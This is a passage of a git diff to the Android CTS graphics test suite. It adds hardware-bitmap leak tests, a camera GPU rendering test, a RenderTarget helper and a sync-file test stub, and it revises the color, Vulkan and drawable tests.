import java.nio.ShortBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
@SmallTest
@RunWith(AndroidJUnit4.class)
@@ -1447,6 +1452,114 @@
nValidateNdkAccessAfterRecycle(bitmap);
}
+ private void runGcAndFinalizersSync() {
+ final CountDownLatch fence = new CountDownLatch(1);
+ new Object() {
+ @Override
+ protected void finalize() throws Throwable {
+ try {
+ fence.countDown();
+ } finally {
+ super.finalize();
+ }
+ }
+ };
+ try {
+ do {
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ } while (!fence.await(100, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException ex) {
+ throw new RuntimeException(ex);
+ }
+ Runtime.getRuntime().gc();
+ }
+
+ private void assertNotLeaking(int iteration, Debug.MemoryInfo start, Debug.MemoryInfo end) {
+ Debug.getMemoryInfo(end);
+ if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(end);
+ if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+ // Guarded by if so we don't continually generate garbage for the
+ // assertion string.
+ assertEquals("Memory leaked, iteration=" + iteration,
+ start.getTotalPss(), end.getTotalPss(),
+ 2000 /* kb */);
+ }
+ }
+ }
+
+ @Test
+ @LargeTest
+ public void testHardwareBitmapNotLeaking() {
+ Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+ Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+ BitmapFactory.Options opts = new BitmapFactory.Options();
+ opts.inPreferredConfig = Config.HARDWARE;
+ opts.inScaled = false;
+
+ for (int i = 0; i < 2000; i++) {
+ if (i == 2) {
+ // Not really the "start" but by having done a couple
+ // we've fully initialized any state that may be required,
+ // so memory usage should be stable now
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(meminfoStart);
+ }
+ if (i % 100 == 5) {
+ assertNotLeaking(i, meminfoStart, meminfoEnd);
+ }
+ Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, opts);
+ assertNotNull(bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(128, bitmap.getWidth());
+ assertEquals(128, bitmap.getHeight());
+ assertEquals(Config.HARDWARE, bitmap.getConfig());
+ bitmap.recycle();
+ }
+
+ assertNotLeaking(2000, meminfoStart, meminfoEnd);
+ }
+
+ @Test
+ @LargeTest
+ public void testDrawingHardwareBitmapNotLeaking() {
+ Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+ Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+ BitmapFactory.Options opts = new BitmapFactory.Options();
+ opts.inPreferredConfig = Config.HARDWARE;
+ opts.inScaled = false;
+ RenderTarget renderTarget = RenderTarget.create();
+ renderTarget.setDefaultSize(128, 128);
+ final Surface surface = renderTarget.getSurface();
+
+ for (int i = 0; i < 2000; i++) {
+ if (i == 2) {
+ // Not really the "start" but by having done a couple
+ // we've fully initialized any state that may be required,
+ // so memory usage should be stable now
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(meminfoStart);
+ }
+ if (i % 100 == 5) {
+ assertNotLeaking(i, meminfoStart, meminfoEnd);
+ }
+ Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, opts);
+ assertNotNull(bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(128, bitmap.getWidth());
+ assertEquals(128, bitmap.getHeight());
+ assertEquals(Config.HARDWARE, bitmap.getConfig());
+ Canvas canvas = surface.lockHardwareCanvas();
+ canvas.drawBitmap(bitmap, 0, 0, null);
+ surface.unlockCanvasAndPost(canvas);
+ bitmap.recycle();
+ }
+
+ assertNotLeaking(2000, meminfoStart, meminfoEnd);
+ }
+
private void strictModeTest(Runnable runnable) {
StrictMode.ThreadPolicy originalPolicy = StrictMode.getThreadPolicy();
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index 30294d0..9089baa 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -24,6 +24,8 @@
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -32,6 +34,8 @@
@SmallTest
@RunWith(AndroidJUnit4.class)
public class Bitmap_CompressFormatTest {
+
+ @CddTest(requirement="5.1.4/C-0-1,C-0-2,C-0-3")
@Test
public void testValueOf(){
assertEquals(CompressFormat.JPEG, CompressFormat.valueOf("JPEG"));
@@ -39,6 +43,7 @@
assertEquals(CompressFormat.WEBP, CompressFormat.valueOf("WEBP"));
}
+ @CddTest(requirement="5.1.4/C-0-1,C-0-2,C-0-3")
@Test
public void testValues(){
CompressFormat[] comFormat = CompressFormat.values();
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java
new file mode 100644
index 0000000..7df9892
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import android.app.Activity;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.view.Window;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * An activity for testing camera output rendering.
+ */
+public class CameraGpuCtsActivity extends Activity {
+
+ static {
+ System.loadLibrary("ctsgraphics_jni");
+ }
+
+ private static final String TAG = "CameraGpuCtsActivity";
+
+ protected GLSurfaceView mView;
+ protected long mNativeRenderer;
+ private CountDownLatch mFinishedRendering;
+
+ private class Renderer implements GLSurfaceView.Renderer {
+ public void onDrawFrame(GL10 gl) {
+ if (nDrawFrame(mNativeRenderer) == 0) {
+ mFinishedRendering.countDown();
+ }
+ }
+
+ public void onSurfaceChanged(GL10 gl, int width, int height) {
+ // Do nothing.
+ }
+
+ public void onSurfaceCreated(GL10 gl, EGLConfig config) {
+ mNativeRenderer = nCreateRenderer();
+ }
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mView = new GLSurfaceView(this);
+ mView.setEGLContextClientVersion(2);
+ mView.setRenderer(new Renderer());
+ mView.setRenderMode(GLSurfaceView.RENDERMODE_CONTINUOUSLY);
+
+ // Wait for 100 frames from camera being rendered.
+ mFinishedRendering = new CountDownLatch(100);
+
+ requestWindowFeature(Window.FEATURE_NO_TITLE);
+ setContentView(mView);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ mView.onResume();
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ mView.onPause();
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ nDestroyRenderer(mNativeRenderer);
+ }
+
+ public void waitToFinishRendering() throws InterruptedException {
+ // Skip the test if there is no camera on board.
+ if (!nIsCameraReady(mNativeRenderer)) {
+ return;
+ }
+
+ // Wait long enough so that all frames are captured.
+ if (!mFinishedRendering.await(30, TimeUnit.SECONDS)) {
+ throw new IllegalStateException("Coudn't finish drawing frames!");
+ }
+ }
+
+ private static native long nCreateRenderer();
+ private static native boolean nIsCameraReady(long renderer);
+ private static native void nDestroyRenderer(long renderer);
+ private static native int nDrawFrame(long renderer);
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
new file mode 100644
index 0000000..02bfd51
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.LargeTest;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** This test case must run with hardware. It can't be tested in emulator. */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class CameraGpuTest {
+
+ private static final String TAG = "CameraGpuTest";
+
+ @Rule
+ public ActivityTestRule<CameraGpuCtsActivity> mActivityRule =
+ new ActivityTestRule<>(CameraGpuCtsActivity.class, false, false);
+
+ @Test
+ public void testCameraImageCaptureAndRendering() throws Exception {
+ CameraGpuCtsActivity activity = mActivityRule.launchActivity(null);
+ activity.waitToFinishRendering();
+ activity.finish();
+ }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index a00c45e..1e65caf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -18,20 +18,15 @@
import static android.support.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
import android.content.res.Resources;
import android.graphics.Color;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
-import android.util.TypedValue;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.Arrays;
-import java.util.List;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class ColorTest {
@@ -69,51 +64,14 @@
{ 0xff000000, android.R.color.widget_edittext_dark },
};
- List<Integer> expectedColorStateLists = Arrays.asList(
- android.R.color.primary_text_dark,
- android.R.color.primary_text_dark_nodisable,
- android.R.color.primary_text_light,
- android.R.color.primary_text_light_nodisable,
- android.R.color.secondary_text_dark,
- android.R.color.secondary_text_dark_nodisable,
- android.R.color.secondary_text_light,
- android.R.color.secondary_text_light_nodisable,
- android.R.color.tab_indicator_text,
- android.R.color.tertiary_text_dark,
- android.R.color.tertiary_text_light,
- android.R.color.widget_edittext_dark
- );
-
Resources resources = getInstrumentation().getTargetContext().getResources();
for (int[] pair : colors) {
- final int resourceId = pair[1];
- final int expectedColor = pair[0];
+ int value = resources.getColor(pair[1], null);
+ assertEquals("Color = " + Integer.toHexString(value) + ", "
+ + Integer.toHexString(pair[0]) + " expected",
+ pair[0],
+ value);
- // validate color from getColor
- int observedColor = resources.getColor(resourceId, null);
- assertEquals("Color = " + Integer.toHexString(observedColor) + ", "
- + Integer.toHexString(expectedColor) + " expected",
- expectedColor,
- observedColor);
-
- // validate color from getValue
- TypedValue value = new TypedValue();
- resources.getValue(resourceId, value, true);
-
- // colors shouldn't depend on config changes
- assertEquals(0, value.changingConfigurations);
-
- if (expectedColorStateLists.contains(resourceId)) {
- // ColorStateLists are strings
- assertEquals("CSLs should be strings", TypedValue.TYPE_STRING, value.type);
- } else {
- // colors should be raw ints
- assertTrue("Type should be int",
- value.type >= TypedValue.TYPE_FIRST_INT && value.type <= TypedValue.TYPE_LAST_INT);
-
- // Validate color from getValue
- assertEquals("Color should be expected value", expectedColor, value.data);
- }
}
assertEquals("Test no longer in sync with colors in android.R.color",
colors.length,
diff --git a/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java b/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java
new file mode 100644
index 0000000..185dbef
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import static android.opengl.EGL14.EGL_ALPHA_SIZE;
+import static android.opengl.EGL14.EGL_BLUE_SIZE;
+import static android.opengl.EGL14.EGL_CONFIG_CAVEAT;
+import static android.opengl.EGL14.EGL_CONTEXT_CLIENT_VERSION;
+import static android.opengl.EGL14.EGL_DEFAULT_DISPLAY;
+import static android.opengl.EGL14.EGL_DEPTH_SIZE;
+import static android.opengl.EGL14.EGL_GREEN_SIZE;
+import static android.opengl.EGL14.EGL_HEIGHT;
+import static android.opengl.EGL14.EGL_NONE;
+import static android.opengl.EGL14.EGL_NO_CONTEXT;
+import static android.opengl.EGL14.EGL_OPENGL_ES2_BIT;
+import static android.opengl.EGL14.EGL_RED_SIZE;
+import static android.opengl.EGL14.EGL_RENDERABLE_TYPE;
+import static android.opengl.EGL14.EGL_SURFACE_TYPE;
+import static android.opengl.EGL14.EGL_WIDTH;
+import static android.opengl.EGL14.EGL_WINDOW_BIT;
+import static android.opengl.EGL14.eglChooseConfig;
+import static android.opengl.EGL14.eglCreateContext;
+import static android.opengl.EGL14.eglCreatePbufferSurface;
+import static android.opengl.EGL14.eglGetDisplay;
+import static android.opengl.EGL14.eglInitialize;
+import static android.opengl.EGL14.eglMakeCurrent;
+import static android.opengl.GLES20.glDeleteTextures;
+import static android.opengl.GLES20.glGenTextures;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Message;
+import android.view.Surface;
+
+public final class RenderTarget {
+ private static final int SETUP_THREAD = 1;
+ private static final int CREATE_SINK = 2;
+ private static final int DESTROY_SINK = 3;
+ private static final int UPDATE_TEX_IMAGE = 4;
+
+ private static final Handler sHandler;
+ static {
+ HandlerThread thread = new HandlerThread("RenderTarget-GL");
+ thread.start();
+ sHandler = new Handler(thread.getLooper(), new RenderTargetThread());
+ sHandler.sendEmptyMessage(SETUP_THREAD);
+ }
+
+ public static RenderTarget create() {
+ GenericFuture<RenderTarget> future = new GenericFuture<>();
+ Message.obtain(sHandler, CREATE_SINK, future).sendToTarget();
+ try {
+ return future.get();
+ } catch (InterruptedException e) {
+ throw new RuntimeException("Failed to createSink()", e);
+ }
+ }
+
+ private final SurfaceTexture mSurfaceTexture;
+ private final int mGlTexId;
+ private Surface mSurface;
+
+ private RenderTarget(SurfaceTexture surfaceTexture, int glTexId) {
+ mSurfaceTexture = surfaceTexture;
+ mGlTexId = glTexId;
+ mSurface = new Surface(mSurfaceTexture);
+ }
+
+ public Surface getSurface() {
+ return mSurface;
+ }
+
+ public void setDefaultSize(int width, int height) {
+ mSurfaceTexture.setDefaultBufferSize(width, height);
+ }
+
+ public void destroy() {
+ mSurface = null;
+ Message.obtain(sHandler, DESTROY_SINK, this).sendToTarget();
+ }
+
+ private static class RenderTargetThread implements Handler.Callback,
+ SurfaceTexture.OnFrameAvailableListener {
+ @Override
+ public boolean handleMessage(Message msg) {
+ switch (msg.what) {
+ case SETUP_THREAD:
+ setupThread();
+ return true;
+ case CREATE_SINK:
+ createSink((GenericFuture<RenderTarget>) msg.obj);
+ return true;
+ case DESTROY_SINK:
+ destroySink((RenderTarget) msg.obj);
+ return true;
+ case UPDATE_TEX_IMAGE:
+ updateTexImage((SurfaceTexture) msg.obj);
+ default:
+ return false;
+ }
+ }
+
+ private void createSink(GenericFuture<RenderTarget> sinkFuture) {
+ int[] tex = new int[1];
+ glGenTextures(1, tex, 0);
+ SurfaceTexture texture = new SurfaceTexture(tex[0]);
+ texture.setOnFrameAvailableListener(this);
+ sinkFuture.setResult(new RenderTarget(texture, tex[0]));
+ }
+
+ private void destroySink(RenderTarget sink) {
+ sHandler.removeMessages(UPDATE_TEX_IMAGE, sink.mSurfaceTexture);
+ sink.mSurfaceTexture.setOnFrameAvailableListener(null);
+ sink.mSurfaceTexture.release();
+ glDeleteTextures(1, new int[] { sink.mGlTexId }, 0);
+ }
+
+ private void updateTexImage(SurfaceTexture texture) {
+ texture.updateTexImage();
+ }
+
+ private void setupThread() {
+ EGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
+ if (display == null) {
+ throw new IllegalStateException("eglGetDisplay failed");
+ }
+ int[] version = new int[2];
+ if (!eglInitialize(display, version, 0, version, 1)) {
+ throw new IllegalStateException("eglInitialize failed");
+ }
+ final int[] egl_attribs = new int[] {
+ EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+ EGL_RED_SIZE, 8,
+ EGL_GREEN_SIZE, 8,
+ EGL_BLUE_SIZE, 8,
+ EGL_ALPHA_SIZE, 8,
+ EGL_DEPTH_SIZE, 0,
+ EGL_CONFIG_CAVEAT, EGL_NONE,
+ EGL_SURFACE_TYPE, EGL_WINDOW_BIT,
+ EGL_NONE
+ };
+ EGLConfig[] configs = new EGLConfig[1];
+ int[] num_configs = new int[1];
+ if (!eglChooseConfig(display, egl_attribs, 0, configs, 0, 1, num_configs, 0)
+ || num_configs[0] <= 0 || configs[0] == null) {
+ throw new IllegalStateException("eglChooseConfig failed");
+ }
+ EGLConfig config = configs[0];
+ final int[] gl_attribs = new int[] {
+ EGL_CONTEXT_CLIENT_VERSION, 2,
+ EGL_NONE
+ };
+ EGLContext context = eglCreateContext(display, config, EGL_NO_CONTEXT, gl_attribs, 0);
+ if (context == null) {
+ throw new IllegalStateException("eglCreateContext failed");
+ }
+ final int[] pbuffer_attribs = new int[] { EGL_WIDTH, 1, EGL_HEIGHT, 1, EGL_NONE };
+ EGLSurface pbuffer = eglCreatePbufferSurface(display, config, pbuffer_attribs, 0);
+ if (pbuffer == null) {
+ throw new IllegalStateException("create pbuffer surface failed");
+ }
+ if (!eglMakeCurrent(display, pbuffer, pbuffer, context)) {
+ throw new IllegalStateException("Failed to make current");
+ }
+ }
+
+ @Override
+ public void onFrameAvailable(SurfaceTexture surfaceTexture) {
+ Message.obtain(sHandler, UPDATE_TEX_IMAGE, surfaceTexture).sendToTarget();
+ }
+ }
+
+ private static class GenericFuture<T> {
+ private boolean mHasResult = false;
+ private T mResult;
+ public void setResult(T result) {
+ synchronized (this) {
+ if (mHasResult) {
+ throw new IllegalStateException("Result already set");
+ }
+ mHasResult = true;
+ mResult = result;
+ notifyAll();
+ }
+ }
+
+ public T get() throws InterruptedException {
+ synchronized (this) {
+ while (!mHasResult) {
+ wait();
+ }
+ return mResult;
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
new file mode 100644
index 0000000..a82adfc
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static android.opengl.EGL14.*;
+
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.opengl.GLES20;
+import android.support.test.filters.SmallTest;
+
+import java.util.concurrent.CyclicBarrier;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+
+// This class contains tests for the Linux kernel sync file system, and the NDK interfaces for it
+// (android/sync.h). Unfortunately, the interfaces exposed by the kernel make it difficult to test
+// for a couple reasons:
+//
+// (a) There isn't a standard kernel interface for creating a fence/sync_file. Drivers can create
+// them via driver-specific interfaces. Currently this means we have to use APIs like OpenGL ES
+// or interact with the system compositor in order to generate fences. That makes tests larger
+// and more complicated than they otherwise need to be.
+//
+// This is further complicated by the fact that most of the time GPU work executes in the order
+// it was submitted to the kernel; there isn't much out-of-order execution in practice. So
+// detecting some kinds of bugs is difficult using only the GPU as an event source.
+//
+// (b) A core principal of sync files is that they cannot be created until the work that will
+// signal them has been submitted to the kernel, and will complete without further action from
+// userland. This means that it is impossible to reliably do something before a sync file has
+// signaled.
+
+@SmallTest
+@RunWith(BlockJUnit4ClassRunner.class)
+public class SyncTest {
+
+ static {
+ System.loadLibrary("ctsgraphics_jni");
+ }
+
+ private static final String TAG = SyncTest.class.getSimpleName();
+ private static final boolean DEBUG = false;
+
+ private EGLDisplay mEglDisplay = EGL_NO_DISPLAY;
+ private EGLConfig mEglConfig = null;
+
+ @Before
+ public void setup() throws Throwable {
+ mEglDisplay = EGL14.eglGetDisplay(EGL_DEFAULT_DISPLAY);
+ if (mEglDisplay == EGL_NO_DISPLAY) {
+ throw new RuntimeException("no EGL display");
+ }
+ int[] major = new int[1];
+ int[] minor = new int[1];
+ if (!EGL14.eglInitialize(mEglDisplay, major, 0, minor, 0)) {
+ throw new RuntimeException("error in eglInitialize");
+ }
+
+ int[] numConfigs = new int[1];
+ EGLConfig[] configs = new EGLConfig[1];
+ if (!EGL14.eglChooseConfig(mEglDisplay,
+ new int[] {
+ EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+ EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
+ EGL_BUFFER_SIZE, 32,
+ EGL_NONE},
+ 0, configs, 0, 1, numConfigs, 0)) {
+ throw new RuntimeException("eglChooseConfig failed");
+ }
+ mEglConfig = configs[0];
+ }
+
+ @After
+ public void teardown() throws Throwable {
+ EGL14.eglTerminate(mEglDisplay);
+ }
+
+ @Test
+ public void testMergedSyncSignalOrder() {
+ // TODO
+ }
+
+ private static final int STATUS_UNSIGNALED = 0;
+ private static final int STATUS_SIGNALED = 1;
+ private static final int STATUS_ERROR = -1;
+ private static class SyncFileInfo {
+ String name; // char name[32]
+ int status; // __s32 status
+ long flags; // __u32 flags
+ SyncFenceInfo[] fences; // __u32 num_fences; __u64 sync_fence_info
+ }
+ private static class SyncFenceInfo {
+ String name; // char obj_name[32]
+ String driver_name; // char driver_name[32]
+ int status; // __s32 status
+ long flags; // __u32 flags
+ long timestamp_ns; // __u64 timestamp_ns
+ }
+
+ private static native boolean nSyncPoll(int[] fds, int[] status);
+ private static native int nSyncMerge(String name, int fd1, int fd2);
+ private static native SyncFileInfo nSyncFileInfo(int fd);
+ private static native void nSyncClose(int fd);
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index cd8ad63..28b9d06 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -90,7 +90,7 @@
mVulkanDevices = getVulkanDevices();
}
- @CddTest(requirement="7.1.4.2/C-1-1,C-2-1")
+ @CddTest(requirement="7.1.4.2/C-1-1,C-2-1,C-2-2")
@Test
public void testVulkanHardwareFeatures() throws JSONException {
if (DEBUG) {
@@ -172,7 +172,7 @@
} else {
assertEquals("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
" version " + mVulkanHardwareCompute.version +
- " doesn't match best physical device hardware compute " + bestComputeLevel,
+ " doesn't match best physical device (version: " + bestComputeLevel + ")",
bestComputeLevel, mVulkanHardwareCompute.version);
}
}
@@ -223,16 +223,17 @@
}
private int determineHardwareCompute(JSONObject device) throws JSONException {
- boolean haveVariablePointers = false;
- JSONArray extensions = device.getJSONArray("extensions");
- for (int i = 0; i < extensions.length(); i++) {
- String name = extensions.getJSONObject(i).getString("extensionName");
- if (name.equals("VK_KHR_variable_pointers"))
- haveVariablePointers = true;
+ JSONObject variablePointersFeatures = device.getJSONObject("variablePointersFeaturesKHR");
+ boolean variablePointers = variablePointersFeatures.getInt("variablePointers") != 0;
+ JSONObject limits = device.getJSONObject("properties").getJSONObject("limits");
+ int maxPerStageDescriptorStorageBuffers = limits.getInt("maxPerStageDescriptorStorageBuffers");
+ if (DEBUG) {
+ Log.d(TAG, device.getJSONObject("properties").getString("deviceName") +
+ ": variablePointers=" + variablePointers +
+ " maxPerStageDescriptorStorageBuffers=" + maxPerStageDescriptorStorageBuffers);
}
- if (!haveVariablePointers) {
+ if (!variablePointers || maxPerStageDescriptorStorageBuffers < 16)
return -1;
- }
return 0;
}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index 4a05b85..17edc3f 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -99,7 +99,7 @@
@AfterClass
public static void tearDownClass() throws Exception {
- if (sTransitionScaleBefore != Float.NaN) {
+ if (!Float.isNaN(sTransitionScaleBefore)) {
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
"settings put global transition_animation_scale " +
sTransitionScaleBefore);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 170d685..eddcecc 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -536,138 +536,4 @@
resources.getDrawable(R.drawable.testimage).setAlpha(restoreAlpha);
}
}
-
- private static final int[] DENSITY_VALUES = new int[] {
- 160, 80, 320
- };
-
- private static final int[] DENSITY_IMAGES = new int[] {
- R.drawable.bitmap_density,
- R.drawable.bitmap_shader_density,
- R.drawable.bitmap_shader_am_density,
- };
-
- @Test
- public void testPreloadDensity() throws XmlPullParserException, IOException {
- final Resources res = mContext.getResources();
- final int densityDpi = res.getConfiguration().densityDpi;
- try {
- for (int i = 0; i < DENSITY_IMAGES.length; i++) {
- verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
- }
- } finally {
- DrawableTestUtils.setResourcesDensity(res, densityDpi);
- }
- }
-
- private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
- throws XmlPullParserException, IOException {
- final Rect tempPadding = new Rect();
-
- // Capture initial state at preload density.
- final int preloadDensityDpi = densities[0];
- DrawableTestUtils.setResourcesDensity(res, preloadDensityDpi);
-
- final XmlResourceParser parser = DrawableTestUtils.getResourceParser(res, sourceResId);
- final BitmapDrawable preloadedDrawable = new BitmapDrawable();
- preloadedDrawable.inflate(res, parser, Xml.asAttributeSet(parser));
-
- final ConstantState preloadedConstantState = preloadedDrawable.getConstantState();
- final int origWidth = preloadedDrawable.getIntrinsicWidth();
- final int origHeight = preloadedDrawable.getIntrinsicHeight();
- assertFalse(preloadedDrawable.getPadding(tempPadding));
-
- compareOrSave(preloadedDrawable, preloadDensityDpi, sourceResId);
-
- for (int i = 1; i < densities.length; i++) {
- final int scaledDensityDpi = densities[i];
- final float scale = scaledDensityDpi / (float) preloadDensityDpi;
- DrawableTestUtils.setResourcesDensity(res, scaledDensityDpi);
-
- final BitmapDrawable scaledDrawable =
- (BitmapDrawable) preloadedConstantState.newDrawable(res);
- scaledDrawable.setLayoutDirection(LayoutDirection.RTL);
-
- // Sizes are rounded.
- assertEquals(Math.round(origWidth * scale), scaledDrawable.getIntrinsicWidth());
- assertEquals(Math.round(origHeight * scale), scaledDrawable.getIntrinsicHeight());
-
- // Bitmaps have no padding.
- assertFalse(scaledDrawable.getPadding(tempPadding));
-
- compareOrSave(scaledDrawable, scaledDensityDpi, sourceResId);
-
- // Ensure theme density is applied correctly. Unlike most
- // drawables, we don't have any loss of accuracy because density
- // changes are re-computed from the source every time.
- DrawableTestUtils.setResourcesDensity(res, preloadDensityDpi);
-
- final Theme t = res.newTheme();
- scaledDrawable.applyTheme(t);
- assertEquals(origWidth, scaledDrawable.getIntrinsicWidth());
- assertEquals(origHeight, scaledDrawable.getIntrinsicHeight());
- assertFalse(scaledDrawable.getPadding(tempPadding));
- }
- }
-
- private void compareOrSave(Drawable dr, int densityDpi, int sourceResId) {
- final int width = dr.getIntrinsicWidth();
- final int height = dr.getIntrinsicHeight();
